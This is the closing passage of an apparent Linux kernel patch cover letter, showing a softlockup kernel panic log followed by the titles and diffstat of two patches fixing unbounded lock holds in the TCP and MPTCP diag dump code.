[ 18.495561] ? entry_SYSCALL_64_after_hwframe+0x76/0x7e=0D
[ 18.495562] entry_SYSCALL_64_after_hwframe+0x76/0x7e=0D
[ 18.495563] RIP: 0033:0x421964=0D
[ 18.495565] Code: 89 df 49 8b 3c 24 e8 17 d0 b7 ff 49 8b 3c 24 4c 89 e6 =
4c 89 e2 49 8d ac 24 e0 00 00 00 e8 e0 d4 ff ff 84 c0 75 12 <4d> 8b 64 24 0=
8 49 8d 5c 24 10 e9 40 ff ff ff 41 80 3d 29 33 84=0D
[ 18.495567] RSP: 002b:00007ffde1d1cfc8 EFLAGS: 00000202 ORIG_RAX: 000000=
000000002e=0D
[ 18.495568] RAX: ffffffffffffffda RBX: 0000000002bea910 RCX: 00000000004=
21964=0D
[ 18.495570] RDX: 0000000000000000 RSI: 00007ffde1d1d040 RDI: 00000000000=
20003=0D
[ 18.495571] RBP: 0000000000020003 R08: 0006b49d20000000 R09: 00007f62b3b=
b50e8=0D
[ 18.495571] R10: 0000000000000004 R11: 0000000000000202 R12: 00007ffde1d=
1d110=0D
[ 18.495571] R13: 0000000000003ffc R14: 0000000000010044 R15: 00000000000=
0fffc=0D
[ 18.495572] </TASK>=0D
[ 18.495573] Kernel panic - not syncing: softlockup: hung tasks=0D
-----END crash log-----=0D
=0D
Best regards,=0D
Zihan Xi=0D
=0D
=0D
=0D
=0D
Zihan Xi (2):=0D
tcp: diag: fix unbounded bucket lock hold in tcp_diag_dump()=0D
mptcp: diag: fix unbounded listener bucket lock hold=0D
=0D
include/linux/inet_diag.h | 15 ++=0D
net/ipv4/inet_diag.c | 13 ++=0D
net/ipv4/tcp_diag.c | 316 +++++++++++++++++++++++++++-----------=0D
net/mptcp/mptcp_diag.c | 124 ++++++++++-----=0D
4 files changed, 344 insertions(+), 124 deletions(-)=0D
=0D
-- =0D
2.43.0=0D
=0D